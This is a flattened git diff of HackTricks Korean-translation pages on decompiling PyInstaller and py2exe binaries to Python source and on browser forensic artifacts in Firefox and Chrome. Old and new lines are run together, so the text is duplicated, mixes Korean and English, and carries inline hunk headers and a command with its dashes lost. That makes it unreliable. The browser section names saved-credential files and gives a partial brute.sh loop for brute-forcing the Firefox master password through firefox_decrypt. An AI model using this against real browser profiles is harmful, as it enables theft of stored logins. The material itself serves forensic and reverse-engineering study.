* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 **최대 $100,000**의 바운티를 벌어보세요! **버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## 컴파일된 이진 파일에서 .pyc로 ## 컴파일된 바이너리에서 .pyc로
**ELF**로 컴파일된 이진 파일에서는 다음을 사용하여 **.pyc를 얻을 수 있습니다**: **ELF** 컴파일된 바이너리에서 **.pyc를 가져올 수 있습니다**:
```bash ```bash
pyi-archive_viewer <binary> pyi-archive_viewer <binary>
# The list of python modules will be given here: # The list of python modules will be given here:
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
**파이썬 exe 이진 파일**에서는 다음을 실행하여 **.pyc 파일을 얻을 수 있습니다:** In a **python exe binary**로 컴파일된 경우, 다음을 실행하여 **.pyc**를 얻을 수 있습니다:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## .pyc에서 python 코드로 ## From .pyc to python code
**.pyc** 데이터("컴파일된" 파이썬)에서는 **원본** **파이썬** **코드**를 **추출**하기 시작해야합니다: For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**확실하게** 이진 파일이 "**.pyc**" **확장자**를 가지고 있는지 확인하십시오 (그렇지 않으면, uncompyle6가 작동하지 않을 것입니다) **확실히** 이 바이너리가 "**.pyc**" **확장자**를 가지고 있는지 확인하세요 (그렇지 않으면, uncompyle6가 작동하지 않습니다)
**uncompyle6**를 실행하는 동안 다음 같은 **오류**를 발견할 수 있습니다: **uncompyle6**를 실행하는 동안 **다음 오류**를 발견할 수 있습니다:
### 오류: 알 수 없는 매직 넘버 227 ### 오류: 알 수 없는 매직 넘버 227
```bash ```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc /kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc
``` ```
**이를 해결하려면 생성된 파일의 시작 부분에 올바른 매직 넘버를 추가해야합니다.** 문제를 해결하려면 생성된 파일의 시작 부분에 **올바른 매직 넘버****추가해야** 합니다.
**매직 넘버는 파이썬 버전에 따라 다릅니다.** **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야합니다: **매직 넘버는 파이썬 버전에 따라 다릅니다**, **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야 합니다:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
**마법 숫자**는 이 경우 파이썬 3.8의 **`0x550d0d0a`**입니다. 그런 다음, 이 오류를 수정하려면 **.pyc 파일**의 **처음**에 다음 바이트를 **추가**해야 합니다: `0x0d550a0d000000000000000000000000` The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000`
**마법 헤더**를 추가한 후에는 **오류가 수정**될 것입니다. **한 번** 당신이 **추가**한 그 매직 헤더는, **오류가 수정되어야 합니다.**
다음은 올바르게 추가된 **.pyc python3.8 마법 헤더**의 모습입니다: This is how a correctly added **.pyc python3.8 magic header** will look like:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,23 +81,23 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### 오류: 일반 오류의 디컴파일 ### Error: Decompiling generic errors
`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>`와 같은 **다른 오류**가 발생할 수 있습니다. **다른 오류**: `class 'AssertionError'>; co_code는 (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>) 중 하나여야 합니다; 타입은 <class 'NoneType'>입니다`가 나타날 수 있습니다.
이는 아마도 **매직 넘버를 올바르게 추가하지 않았거나 올바른 매직 넘버를 사용하지 않았다는 것**을 의미합니다. 따라서 **올바른 것을 사용했는지 확인**하십시오 (또는 새로운 것을 시도하십시오). 이는 아마도 **매직 넘버를 올바르게 추가하지 않았거나** **올바른 매직 넘버를 사용하지 않았기 때문**일 수 있으므로 **올바른 것을 사용하고 있는지 확인하세요** (또는 새로운 것을 시도해 보세요).
이전 오류 문서를 확인하십시오. 이전 오류 문서를 확인하세요.
## 자동 도구 ## Automatic Tool
[**python-exe-unpacker 도구**](https://github.com/countercept/python-exe-unpacker)는 py2exe 및 pyinstaller로 작성된 실행 파일을 언패킹하고 디컴파일하는 데 도움이 되도록 설계된 여러 커뮤니티에서 제공하는 도구의 조합으로 작동합니다. 이는 실행 파일이 Python 기반인지 식별하기 위한 YARA 규칙을 포함하고 생성 도구를 확인합니다. [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker)는 Python으로 작성된 실행 파일을 언팩하고 디컴파일하는 데 도움을 주기 위해 설계된 여러 커뮤니티에서 제공하는 도구의 조합으로 작동합니다. 특히 py2exe 및 pyinstaller로 생성된 파일에 해당합니다. 도구는 실행 파일이 Python 기반인지 식별하고 생성 도구를 확인하기 위한 YARA 규칙을 포함하고 있습니다.
### ImportError: 파일 이름: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc'이(가) 존재하지 않음 ### ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist
일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor를 사용하여 언패킹 프로세스 중에 발생하는 불완전한 Python 바이트 코드 파일**로 인해, 이후 **uncompyle6에서 Python 바이트 코드 버전 번호가 누락되어 인식되지 않는**입니다. 이를 해결하기 위해 필요한 Python 바이트 코드 버전 번호를 추가하는 prepend 옵션이 추가되었으며, 이는 디컴파일 프로세스를 용이하게 합니다. 일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor로 언팩하는 과정에서 발생한 불완전한 Python 바이트코드 파일**로, 이로 인해 **누락된 Python 바이트코드 버전 번호로 인해 uncompyle6에서 인식되지 않는 경우**입니다. 이를 해결하기 위해 필요한 Python 바이트코드 버전 번호를 추가하는 prepend 옵션이 추가되어 디컴파일 과정을 용이하게 합니다.
문제의 예: 문제의 예:
```python ```python
# Error when attempting to decompile without the prepend option # Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py test@test: uncompyle6 unpacked/malware_3.exe/archive.py
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Python 어셈블리 분석 ## Analyzing python assembly
이전 단계를 따라서 파이썬 "원본" 코드를 추출할 수 없었다면 어셈블리를 추출해 볼 수 있습니다(하지만 그렇게 구체적이지 않으므로 다시 원본 코드를 추출해 보세요). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 분해하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). 만약 _.pyc_가 python2에서 생성된 것이라면, python2를 사용하세요: 이전 단계에 따라 python "원본" 코드를 추출할 수 없었다면, **어셈블리**를 **추출**해 보십시오(하지만 **매우 설명적이지 않으므로**, **다시** 원본 코드를 **추출**해 보십시오). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 **디스어셈블**하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). _.pyc_가 python2에서 온 것이라면 python2를 사용하십시오:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None) 14 LOAD_CONST 0 (None)
17 RETURN_VALUE 17 RETURN_VALUE
``` ```
## 파이썬을 실행 파일로 변환하기 ## Python to Executable
먼저, 페이로드가 py2exe 및 PyInstaller에서 컴파일될 수 있는 방법을 보여드리겠습니다. 시작하기 위해, 우리는 payload가 py2exe와 PyInstaller에서 어떻게 컴파일될 수 있는지 보여줄 것입니다.
### py2exe를 사용하여 페이로드 생성하기: ### py2exe를 사용하여 payload 생성하기:
1. [http://www.py2exe.org/](http://www.py2exe.org)에서 py2exe 패키지를 설치합니다. 1. [http://www.py2exe.org/](http://www.py2exe.org)에서 py2exe 패키지를 설치합니다.
2. 페이로드를 생성하기 위해 (이 경우 hello.py로 이름을 지정할 것입니다), Figure 1에 있는 스크립트와 같은 스크립트를 사용합니다. 값이 1인 "bundle\_files" 옵션은 Python 인터프리터를 포함한 모든 것을 하나의 exe로 번들링합니다. 2. payload를 위해 (이 경우, 우리는 hello.py라고 이름을 지을 것입니다), 그림 1에 있는 것과 같은 스크립트를 사용합니다. 값이 1인 “bundle\_files” 옵션은 Python 인터프리터를 포함하여 모든 것을 하나의 exe로 묶습니다.
3. 스크립트가 준비되면 "python setup.py py2exe" 명령을 실행합니다. 이렇게 하면 Figure 2와 같이 실행 파일이 생성됩니다. 3. 스크립트가 준비되면, “python setup.py py2exe” 명령을 실행합니다. 이렇게 하면 그림 2와 같이 실행 파일이 생성됩니다.
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### PyInstaller를 사용하여 페이로드를 생성하는 방법: ### To create a payload using PyInstaller:
1. pip 사용하여 PyInstaller를 설치합니다 (pip install pyinstaller). 1. pip 사용하여 PyInstaller를 설치합니다 (pip install pyinstaller).
2. 그 후에는 "pyinstaller --onefile hello.py" 명령을 실행합니다 ('hello.py'가 페이로드임을 상기해 주세요). 이 명령은 모든 것을 하나의 실행 파일로 번들링합니다. 2. 그 후, “pyinstaller onefile hello.py” 명령을 실행합니다 (여기서 hello.py는 우리의 페이로드입니다). 이렇게 하면 모든 것이 하나의 실행 파일로 묶입니다.
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully. 6325 INFO: Building EXE from out00-EXE.toc completed successfully.
``` ```
## 참고 자료 ## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요! **버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,77 +1,79 @@
# 브라우저 아티팩트 # 브라우저 아티팩트
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## 브라우저 아티팩트 <a href="#id-3def" id="id-3def"></a> ## 브라우저 아티팩트 <a href="#id-3def" id="id-3def"></a>
브라우저 아티팩트에는 네비게이션 히스토리, 북마크 및 캐시 데이터와 같은 웹 브라우저에 의해 저장된 다양한 유형의 데이터가 포함됩니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다. 브라우저 아티팩트는 탐색 기록, 북마크 및 캐시 데이터와 같은 웹 브라우저에 저장된 다양한 유형의 데이터를 포함합니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
가장 일반적인 브라우저 아티팩트 요약은 다음과 같습니다: 가장 일반적인 브라우저 아티팩트 요약은 다음과 같습니다:
* **네비게이션 히스토리**: 사용자가 웹 사이트를 방문한 내역을 추적하여 악성 사이트 방문을 식별하는 데 유용합니다. * **탐색 기록**: 사용자가 방문한 웹사이트를 추적하며, 악성 사이트 방문을 식별하는 데 유용합니다.
* **자동완성 데이터**: 빈번한 검색을 기반으로 하는 제안으로, 네비게이션 히스토리와 결합되면 통찰을 제공합니다. * **자동 완성 데이터**: 자주 검색한 내용을 기반으로 한 제안으로, 탐색 기록과 결합할 때 통찰력을 제공합니다.
* **북마크**: 사용자가 빠르게 액세스하기 위해 저장한 사이트. * **북마크**: 사용자가 빠르게 접근하기 위해 저장한 사이트입니다.
* **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온. * **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온입니다.
* **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹 사이트 로딩 시간을 단축하는 데 유용한 포렌식 분석용 데이터. * **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹사이트 로딩 시간을 개선하며, 포렌식 분석에 유용합니다.
* **로그인**: 저장된 로그인 자격 증명. * **로그인 정보**: 저장된 로그인 자격 증명입니다.
* **파비콘**: 탭 및 북마크에 나타나는 웹 사이트와 관련된 아이콘으로, 사용자 방문에 대한 추가 정보로 유용합니다. * **파비콘**: 웹사이트와 관련된 아이콘으로, 탭 및 북마크에 나타나며, 사용자 방문에 대한 추가 정보를 제공합니다.
* **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터. * **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터입니다.
* **다운로드**: 브라우저를 통해 다운로드한 파일 기록. * **다운로드**: 브라우저를 통해 다운로드한 파일 기록입니다.
* **양식 데이터**: 웹 양식에 입력된 정보로, 미래 자동 입력 제안을 위해 저장됩니다. * **양식 데이터**: 웹 양식에 입력된 정보로, 향후 자동 완성 제안을 위해 저장됩니다.
* **썸네일**: 웹 사이트의 미리 보기 이미지. * **썸네일**: 웹사이트의 미리보기 이미지입니다.
* **사용자 지정 사전.txt**: 사용자가 브라우저 사전에 추가한 단어. * **Custom Dictionary.txt**: 사용자가 브라우저 사전에 추가한 단어입니다.
## 파이어폭스 ## 파이어폭스
파이어폭스는 프로필 내에서 사용자 데이터를 조직화하며, 운영 체제에 따라 특정 위치에 저장됩니다: 파이어폭스는 사용자 데이터를 프로필 내에서 구성하며, 운영 체제에 따라 특정 위치에 저장됩니다:
* **리눅스**: `~/.mozilla/firefox/` * **리눅스**: `~/.mozilla/firefox/`
* **OS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **윈도우**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **윈도우**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
러한 디렉토리 내에 있는 `profiles.ini` 파일은 사용자 프로필 목록을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `Path` 변수로 명명된 폴더에 저장됩니다. 프로필 폴더가 누락된 경우 삭제된 것일 수 있습니다. 디렉토리 내의 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini` 내의 `Path` 변수에 명시된 이름의 폴더에 저장되며, `profiles.ini`와 동일한 디렉토리에 위치합니다. 프로필 폴더가 없으면 삭제되었을 수 있습니다.
각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다: 각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다:
* **places.sqlite**: 히스토리, 북마크 및 다운로드를 저장합니다. Windows의 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구를 사용하여 히스토리 데이터에 액세스할 수 있습니다. * **places.sqlite**: 기록, 북마크 및 다운로드를 저장합니다. Windows에서 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구로 기록 데이터를 접근할 수 있습니다.
* 특정 SQL 쿼리를 사용하여 히스토리 및 다운로드 정보를 추출합니다. * 특정 SQL 쿼리를 사용하여 기록 및 다운로드 정보를 추출합니다.
* **bookmarkbackups**: 북마크의 백업을 포함합니다. * **bookmarkbackups**: 북마크의 백업을 포함합니다.
* **formhistory.sqlite**: 웹 양식 데이터를 저장합니다. * **formhistory.sqlite**: 웹 양식 데이터를 저장합니다.
* **handlers.json**: 프로토콜 핸들러를 관리합니다. * **handlers.json**: 프로토콜 핸들러를 관리합니다.
* **persdict.dat**: 사용자 정 사전 단어. * **persdict.dat**: 사용자 정 사전 단어입니다.
* **addons.json****extensions.sqlite**: 설치된 애드온 및 확장 프로그램 정보. * **addons.json****extensions.sqlite**: 설치된 애드온 및 확장 프로그램에 대한 정보입니다.
* **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 사용하여 검사할 수 있습니다. * **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 통해 검사할 수 있습니다.
* **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 액세스할 수 있습니다. * **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 접근할 수 있습니다.
* **favicons.sqlite**: 파비콘을 저장합니다. * **favicons.sqlite**: 파비콘을 저장합니다.
* **prefs.js**: 사용자 설정 및 환경 설정. * **prefs.js**: 사용자 설정 및 기본 설정입니다.
* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합됩니다. * **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재 places.sqlite에 통합되었습니다.
* **thumbnails**: 웹 사이트 썸네일. * **thumbnails**: 웹사이트 썸네일입니다.
* **logins.json**: 암호화된 로그인 정보. * **logins.json**: 암호화된 로그인 정보입니다.
* **key4.db** 또는 **key3.db**: 민감한 정보 보호를 위한 암호화 키를 저장합니다. * **key4.db** 또는 **key3.db**: 민감한 정보를 보호하기 위한 암호화 키를 저장합니다.
또한, 브라우저의 안티 피싱 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 브라우징 기능이 활성화되었는지 여부를 확인할 수 있습니다. 또한, 브라우저의 피싱 방지 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 탐색 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
마스터 암호를 복호화하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다. 다음 스크립트와 호출을 사용하여 브루트 포스할 암호 파일을 지정할 수 있습니다: 마스터 비밀번호를 복호화하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다.\
다음 스크립트와 호출을 사용하여 비밀번호 파일을 지정하여 무차별 대입 공격을 수행할 수 있습니다:
{% code title="brute.sh" %} {% code title="brute.sh" %}
```bash ```bash
@ -90,113 +92,116 @@ done < $passfile
## Google Chrome ## Google Chrome
Google Chrome은 운영 체제에 따라 특정 위치에 사용자 프로필을 저장합니다: Google Chrome은 운영 체제에 따라 사용자 프로필을 특정 위치에 저장합니다:
- **Linux**: `~/.config/google-chrome/` * **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` * **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` * **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
러한 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에서 찾을 수 있습니다. 다음 파일에 중요한 데이터가 포함되어 있습니다: 이 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에 있습니다. 다음 파일은 중요한 데이터를 포함합니다:
- **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 히스토리를 읽을 수 있습니다. "Transition Type" 열에는 사용자가 링크를 클릭하거나 URL을 입력하거나 양식을 제출하거나 페이지를 새로 고침하는 등 다양한 의미가 포함됩니다. * **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 기록을 읽을 수 있습니다. "Transition Type" 열은 링크 클릭, 입력된 URL, 양식 제출 및 페이지 새로 고침을 포함한 다양한 의미를 가집니다.
- **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다. * **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다.
